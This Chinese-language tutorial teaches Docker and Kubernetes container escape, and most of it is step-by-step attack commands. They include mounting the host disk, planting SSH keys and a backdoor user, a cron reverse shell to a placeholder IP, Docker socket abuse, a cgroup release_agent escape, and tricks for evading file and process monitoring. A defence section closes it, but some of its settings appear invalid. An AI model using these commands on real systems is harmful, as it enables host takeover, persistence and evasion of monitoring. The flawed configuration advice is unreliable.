【教程】Docker容器安全:镜像逃逸与容器逃逸实战
适合人群:安全测试工程师、运维安全人员、渗透测试初学者
前置知识:Linux基础命令、Docker基本操作、容器基础概念
实验环境:Ubuntu 22.04 + Docker 24.0+,建议在虚拟机中操作
一、前置准备
工具安装
# Docker环境(已安装则跳过)
curl -fsSL https://get.docker.com | bash
sudo usermod -aG docker $USER
# 逃逸检测工具
git clone https://github.com/initstring/docker-access-check.git
cd docker-access-check && chmod +x docker-access-check.sh
# 容器内常用工具
apt-get update && apt-get install -y curl wget nmap netcat-openbsd
# CDK(容器渗透工具集)
wget https://github.com/cdk-team/CDK/releases/latest/download/cdk_linux_amd64 -O /tmp/cdk
chmod +x /tmp/cdk
靶场搭建
# 创建易受攻击的容器(用于测试逃逸)
docker run -it --rm --privileged \
-v /proc:/host/proc \
-v /:/host-root \
ubuntu:22.04 bash
# 普通限制容器(对比测试)
docker run -it --rm ubuntu:22.04 bash
二、核心原理
容器隔离的本质
Docker 容器通过三种机制实现隔离:
| 机制 | 作用 | 逃逸切入点 |
|---|---|---|
| Namespace(命名空间) | 隔离进程、网络、文件系统等视图 | 通过 --pid=host 或 --net=host 暴露 |
| Cgroups(控制组) | 限制资源使用(CPU/内存) | 通过漏洞逃逸到宿主机 cgroup |
| Capabilities(能力) | 细粒度权限控制 | --privileged 赋予全部能力 |
逃逸的本质
容器逃逸 = 突破 Namespace 隔离,在宿主机上执行代码
逃逸的三个层次:
Level 1: 配置不当 → 利用特权启动参数直接访问宿主机资源
Level 2: 内核漏洞 → 利用 Linux 内核漏洞突破 Namespace
Level 3: 容器运行时漏洞 → 利用 runC/Docker 本身的漏洞
三、实操步骤
🔴 场景一:特权容器逃逸(最常见)
检测是否为特权容器:
# 方法1:检查 capabilities
cat /proc/1/status | grep CapEff
# 输出 0000003fffffffff 或包含所有bit → 特权容器
# 方法2:尝试挂载操作
mount | grep /dev/sda
# 如果有输出,可以使用宿主机磁盘
# 方法3:使用 CDK 检测
/tmp/cdk evaluate
逃逸步骤(挂载宿主机磁盘):
# Step 1: 查看宿主机磁盘分区
fdisk -l
# Step 2: 挂载宿主机根分区到容器内
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host
# Step 3: 写入SSH密钥或计划任务
echo 'ssh-rsa AAAAB3NzaC1yc2E...' >> /mnt/host/root/.ssh/authorized_keys
# Step 4: 或者创建后门用户
chroot /mnt/host /bin/bash -c "useradd -m -s /bin/bash backdoor && echo 'backdoor:password123' | chpasswd"
# Step 5: 写入计划任务
echo '* * * * * root bash -c "bash -i >& /dev/tcp/YOUR_IP/4444 0>&1"' >> /mnt/host/etc/crontab
🟠 场景二:Docker Socket 挂载(逃逸到宿主机Docker)
检测:
# 检查 docker socket 是否挂载
ls -la /var/run/docker.sock 2>/dev/null || find / -name docker.sock 2>/dev/null
利用步骤:
# Step 1: 在容器内安装 Docker CLI
apt-get update && apt-get install -y docker.io
# Step 2: 通过宿主机 Docker Socket 启动特权容器
docker -H unix:///var/run/docker.sock run -it --rm \
-v /:/host-root \
--privileged \
ubuntu:22.04 bash
# 在新容器中逃逸到宿主机
mount /dev/sda1 /host-root/mnt
chroot /host-root/mnt /bin/bash
🟡 场景三:Capabilities 滥用逃逸
常见有风险的能力:
| Capability | 风险 | 利用方式 |
|---|---|---|
CAP_SYS_ADMIN | 允许挂载、命名空间操作 | 挂载 cgroup 触发 escape |
CAP_SYS_PTRACE | 允许 ptrace 其他进程 | 注入宿主机进程 |
CAP_NET_ADMIN | 允许网络配置修改 | 修改 iptables/嗅探流量 |
CAP_DAC_OVERRIDE | 绕过文件权限检查 | 读取宿主机任意文件 |
CAP_SYS_MODULE | 允许加载内核模块 | 加载恶意内核模块 |
利用 CAP_SYS_ADMIN 逃逸:
# Step 1: 检查是否有 CAP_SYS_ADMIN
cat /proc/1/status | grep -i capeff | grep -q "000000000000" && echo "无特权" || echo "有特权"
# Step 2: 通过 cgroup notify_on_release 触发逃逸
# 创建 cgroup
mkdir -p /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir -p /tmp/cgrp/x
# Step 3: 设置 release 脚本
echo "#!/bin/bash" > /tmp/cgrp/x/escape.sh
echo "mount -o remount,rw /" >> /tmp/cgrp/x/escape.sh
echo "chroot / /bin/bash -c 'useradd -m -s /bin/bash evil && echo evil:password | chpasswd'" >> /tmp/cgrp/x/escape.sh
chmod +x /tmp/cgrp/x/escape.sh
# Step 4: 触发 release
echo 1 > /tmp/cgrp/x/notify_on_release
echo "/tmp/cgrp/x/escape.sh" > /tmp/cgrp/release_agent
# Step 5: PID 为 0 触发释放
echo $$ > /tmp/cgrp/x/cgroup.procs
# 若成功,宿主机上就会创建 evil 用户
🟢 场景四:容器逃逸到宿主机的 SSH 会话劫持
当容器共享了宿主机的 PID Namespace(--pid=host)时:
# Step 1: 查看宿主机进程
ps aux
# Step 2: 找到 SSH 会话进程
# 寻找 sshd 及子进程
# Step 3: 注入到 SSH 子进程
# 使用 nsenter 进入宿主机的命名空间
nsenter --target 1 --mount --uts --ipc --pid -- /bin/bash
# 此时你已经在宿主机的命名空间中操作
四、WAF/检测绕过技巧
绕过文件监控
# 使用 memfd 创建内存文件,不写磁盘
python3 -c "
import ctypes, os
fd = os.memfd_create('hidden')
os.write(fd, b'#!/bin/bash\\necho \"escape from memory\"')
os.fchmod(fd, 0o755)
os.execve(f'/proc/self/fd/{fd}', [f'/proc/self/fd/{fd}'], {})
"
# 或利用 /dev/shm(内存文件系统)
cp /bin/bash /dev/shm/.bash
/dev/shm/.bash -c 'echo "running from memory"'
绕过进程检测
# 将进程名改为系统进程名
cp /usr/bin/python3 /tmp/udevd
/tmp/udevd -c '
import os
# 逃逸操作...
'
# 或 fork 后改名
python3 -c "
import os, sys
if os.fork() == 0:
os.chdir('/')
os.setsid()
# 改名
with open('/proc/self/comm', 'w') as f:
f.write('[kworker/0:0]')
# 逃逸操作
os.system('mount /dev/sda1 /mnt/host')
"
五、实战案例复盘
案例:Kubernetes 节点提权
场景:在 Kubernetes pod 中发现 /var/run/docker.sock 被挂载
攻击链:
Step 1: 发现 docker.sock 挂载
Step 2: 通过 sock 连接宿主机 Docker 守护进程
Step 3: 启动特权容器,挂载宿主机根目录
Step 4: 写入 SSH 密钥到宿主机 root
Step 5: SSH 登录宿主机 → 获取节点 root 权限
Step 6: 使用节点凭证获取集群管理权限
关键命令:
# pod 内检测
ls -la /var/run/docker.sock
# 通过 sock 启动特权容器
docker -H unix:///var/run/docker.sock run -it \
-v /:/host \
--privileged \
alpine:latest chroot /host /bin/bash
# 宿主机上写入 SSH 密钥
mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3Nza..." >> /root/.ssh/authorized_keys
防护缺失点:
- Pod 不应挂载 Docker Socket
- 应开启 Pod Security Policy / OPA Gatekeeper
- 应使用运行时安全工具(Falco、Tracee)检测异常行为
六、防御建议
Docker 安全配置清单
| 检查项 | 配置方式 | 风险等级 |
|---|---|---|
❌ 禁止 --privileged | dockerd --no-privileged | 🔴 高危 |
❌ 禁止挂载 /var/run/docker.sock | 镜像扫描 + Admission Controller | 🔴 高危 |
| ❌ 限制 Capabilities | --cap-drop=ALL --cap-add=NEEDED_ONLY | 🟠 中危 |
| ❌ 启用 Seccomp | --security-opt seccomp=/path/to/profile.json | 🟠 中危 |
| ❌ 启用 AppArmor | --security-opt apparmor=default | 🟡 低危 |
| ❌ 只读文件系统 | --read-only --tmpfs /tmp | 🟡 低危 |
运行时检测
# 安装 Falco(容器逃逸检测标准方案)
docker run -d --name falco \
--privileged \
-v /var/run/docker.sock:/host/var/run/docker.sock \
-v /proc:/host/proc:ro \
-v /boot:/host/boot:ro \
-v /lib/modules:/host/lib/modules:ro \
-v /usr:/host/usr:ro \
-v /etc:/host/etc:ro \
falcosecurity/falco:latest
# 检测规则 - Falco 会告警以下行为:
# - 挂载宿主机敏感目录
# - 尝试写入 SSH 密钥
# - 执行 nsenter
# - 特权容器启动
Kubernetes 层防护
# Pod Security Standard: Restricted
apiVersion: pod-security.standard/v1
kind: PodSecurityStandard
metadata:
name: restricted
spec:
# 禁止 privileged、hostPID、hostNetwork、hostPath 等
levels:
- restricted
七、常见陷阱
| # | 陷阱 | 正确做法 |
|---|---|---|
| 1 | 认为容器内就是安全隔离 | 配置不当的容器和宿主机的隔离非常脆弱,privileged 容器相当于宿主机 root |
| 2 | 忽略 Docker Socket 挂载 | /var/run/docker.sock 等于把宿主机 Docker 权限拱手相让 |
| 3 | 忘记限制 capabilities | 默认的 Docker capabilities 集中包含多个危险能力(如 SYS_ADMIN) |
| 4 | 使用 root 用户运行容器 | 尽量用 USER nobody 或 --user 1000:1000 |
| 5 | 挂载宿主机敏感目录 | 如 /proc、/sys、/dev 等不应该被容器直接操作 |
| 6 | 只用镜像扫描没有运行时防护 | 镜像扫描解决已知漏洞,运行时防护(Falco)才能检测逃逸行为 |
八、总结(含速查表)
逃逸方法速查
| 逃逸方式 | 检测方法 | 利用命令 | 防御措施 | |
|---|---|---|---|---|
| 特权容器 | `cat /proc/1/status \ | grep CapEff` | mount /dev/sda1 /mnt/host | 禁止 --privileged |
| Docker Socket | ls /var/run/docker.sock | docker -H unix://... run --privileged | 不挂载 sock | |
| CAP_SYS_ADMIN | capsh --print | cgroup release_agent 逃逸 | 去掉不需要的 cap | |
| PID 共享 | `ps aux \ | grep sshd` | nsenter --target 1 | 不设 --pid=host |
| 内核漏洞 | uname -a | Dirty Pipe、OverlayFS 等 | 及时打补丁 |
一句话记忆
Docker 安全三原则:不特权、不挂 sock、不跑 root。
再加一条:运行时防护不能少,Falco 装上睡得着。